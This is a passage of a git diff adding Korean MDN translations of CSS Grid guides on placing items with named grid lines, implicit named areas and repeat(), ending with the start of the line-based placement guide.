+<p>이전 가이드에선 그리드 트랙을 정의하면 생성되는 라인을 사용해서 아이템을 배치하는 법을 살펴보았으며, 또한 이름이 명명된 템플릿 영역을 가지고 어떻게 아이템들을 배치하는지도 알아보았습니다. 이번 가이드에선 이름이 주어진 라인을 쓰는 상황에서 이 두 가지 방법이 서로 어떻게 작용하는지 알아보겠습니다. 라인에 이름을 지어 주는 것이 매우 유용할 때도 있지만, 이름과 트랙 크기가 혼합돼서 사용되는 그리드 용법을 보고 있으면 매우 헷갈릴 수도 있습니다. 하지만 몇 가지 예제를 가지고 작업해 보시면 점점 명확해지면서 나중엔 작업하기도 훨씬 수월해지실 겁니다.</p>
+
+<h2 id="그리드를_정의할_때_라인의_이름_짓는_법">그리드를 정의할 때 라인의 이름 짓는 법</h2>
+
+<p><code>grid-template-rows</code> 그리고 <code>grid-template-columns</code> 프로퍼티로 그리드를 정의할 때 그리드에 있는 모든 라인 혹은 일부 라인들에 이름을 지어 줄 수 있습니다. 본보기로 라인을 기준으로 아이템을 배치하는 방법을 설명한 가이드에서 만들었던 간단한 레이아웃을 예로 들어 보겠습니다. 이번엔 이름이 주어진 라인을 써서 그리드를 만들 겁니다.</p>
+
+<div id="example_named_lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>그리드를 정의할 때, 그리드 라인의 이름은 대괄호 안에 적어줍니다. 여기서 라인 이름은 원하시는 것 아무거나 다 괜찮습니다. 여기선 컨테이너를 감싸는 행과 열 방향의 시작과 끝 라인 모두의 이름을 정의해 주었습니다. 그리드에 있는 모든 라인의 이름을 다 붙여줄 필요는 없습니다만, 그리드 가운데에 있는 블록의 행과 열 방향의 라인 이름을 <code>content-start</code> 그리고 <code>content-end</code>라는 이름을 정의해 주었습니다. 이런 식으로 레이아웃의 몇몇 주요 라인들에만 이름을 붙여주시면 됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+</pre>
+
+<p>이렇게 라인들에 이름을 짓고 나면, 라인 번호 대신에 이름을 써서 아이템을 배치할 수 있게 됩니다.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: main-start;
+  grid-row-start: main-start;
+  grid-row-end: main-end;
+}
+
+.box2 {
+  grid-column-start: content-end;
+  grid-row-start: main-start;
+  grid-row-end: content-end;
+}
+
+.box3 {
+  grid-column-start: content-start;
+  grid-row-start: main-start;
+}
+
+.box4 {
+  grid-column-start: content-start;
+  grid-column-end: main-end;
+  grid-row-start: content-end;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('example_named_lines', '500', '330') }}</p>
+</div>
+
+<p>라인을 기준으로 배치할 때 적용할 수 있는 다른 모든 사항은 여기서도 똑같은 방식으로 작동하며 이름이 주어진 라인과 라인 번호를 섞어서 사용하실 수도 있습니다. 이름이 주어진 라인의 사용은 그리드를 재정의하는 반응형 디자인을 만들고자 할 때, 미디어 쿼리에서 라인 번호를 바꿔가면서 일일이 콘텐츠의 위치를 다시 정의해 줄 필요가 없다는 장점이 있습니다. 다만, 그리드를 정의할 때 라인의 이름은 항상 같은 것을 사용하도록 주의해야 합니다.</p>
+
+<h3 id="라인에_여러_개의_이름_지어주기">라인에 여러 개의 이름 지어주기</h3>
+
+<p>라인의 이름을 정할 때 하나 이상의 이름을 붙여주고 싶을 때가 있는데, 예를 들어 sidebar-end 그리고 main-start를 함께 표기하고자 할 때가 있습니다. 이럴 땐 <code>[sidebar-end main-start]</code>처럼 대괄호 안에서 공백을 사이에 두고 이름을 추가해 주면 됩니다. 그러면 해당 라인은 둘 중 아무 이름을 써도 같은 것을 가리키게 됩니다.</p>
+
+<h2 id="이름이_주어진_라인으로_만들어지는_잠재적_그리드_영역">이름이 주어진 라인으로 만들어지는 잠재적 그리드 영역</h2>
+
+<p>라인의 이름을 지어줄 때는 원하시는 이름 아무거나 붙여주셔도 된다고 말씀드린 바 있습니다. 여기에 붙이는 이름은 <a href="https://drafts.csswg.org/css-values-4/#custom-idents">custom ident</a>로서, 저자가 정의해 준 이름이 됩니다. 이름을 지을 때 명세서에 나타날 수 있는 단어는 피하시는 게 좋으며 <code>span</code>과 같이 혼동을 줄 수 있는 것도 사용하지 말아야 합니다. 그리고 이름에 따옴표가 포함되면 안 됩니다.</p>
+
+<p>이름은 아무거나 선택하실 수 있지만, 위 예제에 나와 있는 것처럼 만약에 영역 주변에 있는 라인의 이름 끝에 <code>-start</code> 혹은 <code>-end</code>를 붙이면, 그리드는 전체 이름 중 꼬리 부분을 뗀 주요 이름만으로 명명된 영역을 생성하게 됩니다. 위 예제에선, 열과 행의 라인 모두 <code>content-start</code>와 <code>content-end</code>라는 이름이 주어져 있습니다. 이 말은 <code>content</code>라는 이름의 영역이 자동으로 만들어 지면서, 원하시면 어떠한 요소든 해당 영역에 이 이름을 써서 배치할 수 있게 된다는 뜻입니다.</p>
+
+<div id="implicit_areas_from_lines">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p>다음 예제에선 위에서와 똑 같은 그리드를 정의해 주었지만, 이번엔 <code>content</code>라는 이름을 가진 영역에 하나의 아이템을 배치하였습니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+.thing {
+  grid-area: content;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="thing"&gt;I am placed in an area named content.&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('implicit_areas_from_lines', '500', '330') }}</p>
+</div>
+
+<p>여기선 라인의 이름을 지어 주면서 해당 라인이 감싸는 영역이 자동으로 만들어졌기 때문에, <code>grid-template-areas</code>를 써서 영역의 위치를 일일이 정의해 줄 필요가 없습니다.</p>
+
+<h2 id="이름이_주어진_영역으로_만들어지는_잠재적_그리드_라인">이름이 주어진 영역으로 만들어지는 잠재적 그리드 라인</h2>
+
+<p>지금까지 라인에 이름을 지어 주면 어떻게 해당 이름으로 된 영역도 함께 만들어지는지 살펴보았으며, 이는 역으로도 작용합니다. 이름이 주어진 템플릿 영역은 그에 어울리는 이름이 붙여진 라인을 생성하면서, 이를 이용해서 아이템을 배치할 수 있게 됩니다. 이전 그리드 템플릿 영역에 관한 가이드에서 만들었던 레이아웃을 그대로 가져와서, 여기에 영역을 지정해서 만들어진 라인을 써서 레이아웃에  적용해 본다면 이것이 어떻게 작동하는지 쉽게 이해하실 수 있을 겁니다.</p>
+
+<p>다음 예제에선 <code>overlay</code>라는 이름의 클래스를 지정한 추가 div 요소를 더하였습니다. <code>grid-area</code> 프로퍼티를 써서 이름이 주어진 영역을 생성하였고, <code>grid-template-areas</code> 프로퍼티에서 레이아웃을 정의해 주었습니다. 영역의 이름은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>hd</code></li>
+ <li><code>ft</code></li>
+ <li><code>main</code></li>
+ <li><code>sd</code></li>
+</ul>
+
+<p>이렇게 해서 만들어진 열과 행 라인의 이름은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>hd-start</code></li>
+ <li><code>hd-end</code></li>
+ <li><code>sd-start</code></li>
+ <li><code>sd-end</code></li>
+ <li><code>main-start</code></li>
+ <li><code>main-end</code></li>
+ <li><code>ft-start</code></li>
+ <li><code>ft-end</code></li>
+</ul>
+
+<p>이름이 주어진 라인의 모습은 아래 그림에서 확인할 수 있는데, 몇몇 라인들은 두 개의 이름을 가지고 있는 것을 확인하실 수 있습니다. 예를 들면, <code>sd-end</code>와 <code>main-start</code>는 같은 열 방향의 라인을 가리키고 있습니다.</p>
+
+<p><img alt="An image showing the implicit line names created by our grid areas." src="https://mdn.mozillademos.org/files/14699/5_multiple_lines_from_areas.png" style="height: 396px; width: 1140px;"></p>
+
+<p>여기서 잠재적으로 이름이 주어진 라인을 써서 <code>overlay</code> 요소를 배치하는 방법은 이름을 직접 지정한 라인을 써서 아이템을 배치하는 방법과 똑같습니다.</p>
+
+<div id="implicit_lines_from_area">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+
+.header {
+  grid-area: hd;
+}
+
+.footer {
+  grid-area: ft;
+}
+
+.content {
+  grid-area: main;
+}
+
+.sidebar {
+  grid-area: sd;
+}
+
+.wrapper &gt; div.overlay {
+  z-index: 10;
+  grid-column: main-start / main-end;
+  grid-row: hd-start / ft-end;
+  border: 4px solid rgb(92,148,13);
+  background-color: rgba(92,148,13,.4);
+  color: rgb(92,148,13);
+  font-size: 150%;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="header"&gt;Header&lt;/div&gt;
+  &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+  &lt;div class="content"&gt;Content&lt;/div&gt;
+  &lt;div class="footer"&gt;Footer&lt;/div&gt;
+  &lt;div class="overlay"&gt;Overlay&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('implicit_lines_from_area', '500', '330') }}</p>
+</div>
+
+<p>이름이 주어진 영역으로부터 라인이 생성되고 또 라인에 이름을 정해주면 거기에 맞는 영역이 만들어지면서, 이를 이용해 아이템을 배치할 수 있다는 점을 고려한다면, 그리드 레이아웃을 만들기 시작할 때 미리 계획해서 이름을 정하는 데 약간의 시간을 할애할 가치가 있음을 알 수 있습니다. 이름을 선택할 때 자신과 자기 팀원들 모두가 쉽게 이해할 수 있는 것으로 정한다면 모두에게 여러분이 만든 레이아웃을 쉽게 이용하는 데 도움을 줄 수 있을 것입니다.</p>
+
+<h2 id="repeat()을_써서_같은_이름을_가진_여러_개의_라인_만들기">repeat()을 써서 같은 이름을 가진 여러 개의 라인 만들기</h2>
+
+<p>만약에 그리드에 있는 모든 라인에 독자적인 이름을 지어 주길 원하신다면, 트랙을 정의할 때 반복 용법을 사용하는 대신 대괄호 안에다 이름을 일일이 추가해줘야 해서 약간 장황하게 트랙의 정의를 작성하셔야 합니다. 반복 용법을 사용하게 되면 여러 라인이 같은 이름을 갖게 되는데, 이 또한 매우 유용할 수도 있습니다.</p>
+
+<p>다음 예제에서는 같은 너비를 가진 열두 개의 열로 구성된 그리드를 생성합니다. 여기선 1fr 너비의 열 트랙을 정의하기 전에 <code>[col-start]</code>라는 라인 이름을 함께 정의해 주었습니다. 이렇게 하면 <code>1fr</code> 너비의 세로 열 전면에 똑같이 <code>col-start</code>라는 이름이 주어진 12개의 열 방향의 라인으로 구성된 그리드를 만들게 됩니다.</p>
+
+<div id="multiple_lines_same_name">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<p> </p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}</pre>
+
+<p>이렇게 그리드를 생성하고 나면 여기에다 아이템을 배치할 수 있게 됩니다. 여러 개의 라인 이름을 <code>col-start</code>라는 이름으로 지어 주었기 때문에 <code>col-start</code> 라인을 기준 시작 지점으로 아이템을 배치하게 되면 그리드는 첫 번째에 있는 <code>col-start</code>라는 이름의 라인을 사용하게 되는데, 여기선 맨 왼쪽에 있는 라인이 여기에 해당합니다. 또 다른 라인을 가리키려면 이름과 함께 해당 라인의 번호를 더해주면 됩니다. 아이템을 <code>col-start</code>라는 이름의 첫 번째 라인으로부터 다섯 번째 라인까지 걸치도록 배치하려면 다음과 같이 정의해 줍니다:</p>
+
+<pre class="brush: css">.item1 {
+  grid-column: col-start / col-start 5
+}
+</pre>
+
+<p>또한, 여기선 <code>span</code> 키워드를 쓰실 수도 있습니다. 다음 아이템은 <code>col-start</code> 이름을 가진 일곱 번째 라인부터 세 개의 라인에 걸치도록 배치하였습니다.</p>
+
+<pre class="brush: css">.item2 {
+  grid-column: col-start 7 / span 3;
+}
+</pre>
+
+<p class="brush: html"> </p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;I am placed from col-start line 1 to col-start 5&lt;/div&gt;
+  &lt;div class="item2"&gt;I am placed from col-start line 7 spanning 3 lines&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('multiple_lines_same_name', '500', '330') }}</p>
+</div>
+
+<p>이 레이아웃을 Firefox Grid Highlighter에서 살펴보면 세로 열 라인이 어떻게 구성되어 있는지 그리고 또 아이템들이 이 라인들에 따라 어떻게 배치되었는지 확인하실 수 있습니다.</p>
+
+<p><img alt="The 12 column grid with items placed. The Grid Highlighter shows the position of the lines." src="https://mdn.mozillademos.org/files/14695/5_named_lines1.png" style="height: 156px; width: 1958px;"></p>
+
+<p>반복 용법은 또한 트랙의 목록을 나열해서 사용할 수 있으며, 오직 하나의 트랙 크기만 반복하도록 쓰실 필요는 없습니다. 아래의 코드는 여덟 개의 트랙으로 구성된 그리드를 만드는데, 상대적으로 더 좁은 <code>1fr</code> 너비의 <code>col1-start</code>라는 라인 이름이 지정된 세로 열 트랙 다음으로 <code>3fr</code> 너비의 <code>col2-start</code>라는 라인 이름이 지정된 세로 열 트랙으로 구성되어 있습니다.</p>
+
+<pre class="brush: css">.wrapper {
+  grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
+}
+</pre>
+
+<p>만약에 반복 용법에 사용된 두 개의 라인이 서로 겹치게 된다면 그 둘은 나중에 하나로 합쳐지는데, 이는 반복 용법을 쓰지 않고 트랙을 정의할 때 하나의 라인에 여러 개의 이름을 지정해 주는 것과 똑같은 결과를 만들어 냅니다. 다음 정의에선 <code>1fr</code> 너비의 트랙 네 개를 생성하는데, 각 트랙은 서로 시작과 마지막을 지점에 있는 라인을 갖게 됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+  grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
+}
+</pre>
+
+<p>반복 표기법을 쓰지 않고 이번에 정의한 것과 같도록 작성해 준다면 다음과 같이 써줄 수 있습니다.</p>
+
+<pre class="brush: css">.wrapper {
+  grid-template-columns: [col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr  [col-end col-start] 1fr [col-end];
+}
+</pre>
+
+<p>트랙 목록을 사용했다면 <code>span</code> 키워드를 써서, 단지 몇 개의 라인들을 걸치게 할지 정해줄 뿐만 아니라, 특정 이름의 라인 몇 개를 걸쳐서 자리를 잡게 할지도 정해 줄 수 있습니다.</p>
+
+<div id="span_line_number">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(6, [col1-start] 1fr [col2-start] 3fr);
+}
+
+.item1 {
+  grid-column: col1-start / col2-start 2
+}
+
+.item2 {
+  grid-row: 2;
+  grid-column: col1-start 2 / span 2 col1-start;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;I am placed from col1-start line 1 to col2-start line 2&lt;/div&gt;
+  &lt;div class="item2"&gt;I am placed from col1-start line 2 spanning 2 lines named col1-start&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('span_line_number', '500', '330') }}</p>
+</div>
+
+<p>최근 세 개의 가이드를 통해서 여러분은 그리드를 이용해 아이템을 배치하는 방법이 아주 다양하다는 것을 발견하셨을 겁니다. 처음엔 이것이 너무 복잡하다고 느끼실 수도 있겠지만, 이 모든 것을 다 이해하고 사용하실 필요는 없다는 점을 기억하시기 바랍니다. 실상황에서 간단하고 명확한 레이아웃을 구현할 경우에는 이름이 지명된 템플릿 영역을 쓰는 것이 적당할 것입니다. 이것은 레이아웃이 어떤 모습을 보여줄지 시각적으로 좋은 묘사를 제공하며, 또한 그리드에 있는 아이템을 이리저리 쉽게 옮길 수도 있습니다.</p>
+
+<p>또한, 예를 들어 만약에 다중 칼럼에 꼭 들어맞는 레이아웃을 가지고 작업할 때는 이 가이드 마지막 부분에서 설명한 이름이 지정된 라인들을 사용했던 그리드가 제격입니다. 만약에 Foundation 혹은 Boostrap과 같은 프레임워크에서 채용한 그리드 시스템을 고려하신다면, 이들은 12개의 세로 열 그리드를 기준으로 하고 있습니다. 프레임워크에서는 세로 열을 모두 합쳐 최대 100%를 차지하도록 하는 모든 계산이 코드 속에 포함되어 있습니다. 하지만, 그리드 레이아웃에서 이 그리드 "프레임워크"를 구현하는데 필요한 코드는 아래처럼 아주 간단하게 작성할 수 있습니다:</p>
+
+<div class="three_column">
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-gap: 10px;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+</pre>
+
+<p>그러면 페이지 레이아웃에 이 프레임워크를 그대로 가져다 쓰실 수 있습니다. 예를 들어, 헤더와 푸터가 있는 세 개의 세로 열 레이아웃을 구현한다면 아래와 같은 마크업을 작성할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; * {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;header class="main-header"&gt;I am the header&lt;/header&gt;
+  &lt;aside class="side1"&gt;I am sidebar 1&lt;/aside&gt;
+  &lt;article class="content"&gt;I am the main article&lt;/article&gt;
+  &lt;aside class="side2"&gt;I am sidebar 2&lt;/aside&gt;
+  &lt;footer class="main-footer"&gt;I am the footer&lt;/footer&gt;
+&lt;/div&gt;
+</pre>
+
+<p>그러면 이것을 이번에 작성한 그리드 레이아웃 프레임워크를 써서 다음과 같이 배치할 수 있습니다.</p>
+
+<pre class="brush: css">.main-header,
+.main-footer  {
+  grid-column: col-start / span 12;
+}
+
+.side1 {
+  grid-column: col-start / span 3;
+  grid-row: 2;
+}
+
+.content {
+  grid-column: col-start 4 / span 6;
+  grid-row: 2;
+}
+
+.side2 {
+  grid-column: col-start 10 / span 3;
+  grid-row: 2;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('three_column', '500', '330') }}</p>
+
+<p>다시 한번 말씀드리지만, Firefox Grid Highlighter는 지금까지 우리가 배치했던 아이템들이 그리드 위에 어떻게 놓였는지 확인할 때 아주 유용하답니다.</p>
+
+<p><img alt="The layout with the grid highlighted." src="https://mdn.mozillademos.org/files/14697/5_named_lines2.png" style="height: 378px; width: 1958px;"></p>
+</div>
+
+<p>필요한 건 이게 전부 다입니다. 복잡한 계산 작업도 필요하지 않고, 그리드가 1fr 크기의 세로 열 트랙에 공간을 할당하기 전에, 자동으로 10픽셀 크기의 경계 여백 트랙이 차지하는 공간을 알아서 제거해 줍니다. 차차 여러분만의 레이아웃을 만들다 보면, 용법에 점점 더 익숙해 지면서 자기에게 맞는 작업 방식을 터득하게 되고, 나중에 만들고자 하는 프로젝트의 유형에 따라 적당한 것을 고를 수 있는 요령이 생기게 되실 겁니다. 우선은 지금까지 소개된 여러 방법들을 가지고 몇몇 자주 쓰이는 레이아웃의 형태들을 만들어 보신다면, 아마도 곧 가장 효율적인 자기만의 작업 방식을 찾으실 수 있을 겁니다. 그러면, 다음 가이드에선 배치 관련 프로퍼티를 전혀 쓰지 않고도 아이템들이 그리드 위에 알아서 배치되도록 만드는 방법을 알아보겠습니다.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+  <ol>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html
new file mode 100644
index 0000000000..91b32582b4
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html
@@ -0,0 +1,649 @@
+---
+title: Line-based placement with CSS Grid
+slug: Web/CSS/CSS_Grid_Layout/Line-based_placement_with_CSS_grid
+tags:
+  - CSS
+  - CSS Grids
+  - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid
+---
+<p><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념을 다룬 문서</a>에서 라인 번호를 사용하여 그리드에 아이템을 배치하는 방법을 잠깐 살펴본 적이 있습니다. 이번 문서에서는 이 기본적 기능이 어떻게 작동하는지를 자세히 살펴보겠습니다.</p>
+
+<p>그리드를 연구할 때는 번호가 매겨진 라인부터 시작하는 것이 가장 논리적일 겁니다. 왜냐하면, 그리드 레이아웃을 쓸 때마다 거기엔 항상 번호가 매겨진 라인이 있기 때문입니다. 행과 열의 각 라인에는 번호가 매겨져 있으며, 라인에 번호를 매길 때는 1번부터 시작합니다. 그리드 라인은 문서의 작성 모드를 기준으로 번호가 매겨진다는 것을 명심하십시오. 영어와 같이 왼쪽에서 오른쪽으로 읽히는 언어로 쓰인 문서에서는 1번 라인이 그리드의 맨 왼쪽에 위치합니다. 반대로 오른쪽에서 왼쪽으로 읽히는 언어의 문서에서는 1번 라인이 그리드의 맨 오른쪽에 위치하게 됩니다. 문서 작성 모드와 그리드 사이의 상호 작용에 대해서는 나중에 자세히 알아보겠습니다.</p>
+
+<h2 id="간단한_예제">간단한 예제</h2>
+
+<p>아주 간단한 예로, 세 개의 세로 열 트랙과 세 개의 가로 행 트랙으로 구성된 그리드의 예를 들어보겠습니다. 여기엔 각 방향으로 4개의 라인이 있습니다.</p>
+
+<p>그리드 컨테이너 안에는 네 개의 자식 요소가 있습니다. 이것들을 아무런 조건 없이 그대로 그리드 위에 위치시키면, 자동 배치 규칙에 따라 각 아이템은 처음에 있는 네 개의 셀 위에 놓이게 됩니다. 여기서 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox의 Grid Highlighter</a>를 사용하면 그리드의 열과 행이 어떻게 정의되어 있는지 확인하실 수 있습니다.</p>
+
+<p><img alt="Our Grid highlighted in DevTools" src="https://mdn.mozillademos.org/files/14663/3_hilighted_grid.png" style="height: 296px; width: 900px;"></p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-template-rows: repeat(3, 100px);
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('간단한_예제', '300', '330') }}</p>
